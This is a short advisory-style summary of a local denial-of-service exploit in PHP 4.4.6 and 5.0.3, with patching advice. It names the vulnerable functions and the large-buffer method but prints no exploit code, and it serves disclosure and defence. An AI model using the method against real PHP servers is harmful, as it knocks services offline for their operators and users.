PHP Local Denial of Service

This exploit targets the com_invoke(), com_propput(), com_propset(), and iconv_mime_encode() functions in PHP versions 4.4.6 and 5.0.3. It causes a local denial of service by repeatedly calling these functions with a large buffer size, resulting in resource exhaustion.

Mitigation:

Apply patches or updates from PHP to fix the vulnerability. Ensure that PHP is always up to date with the latest security patches.
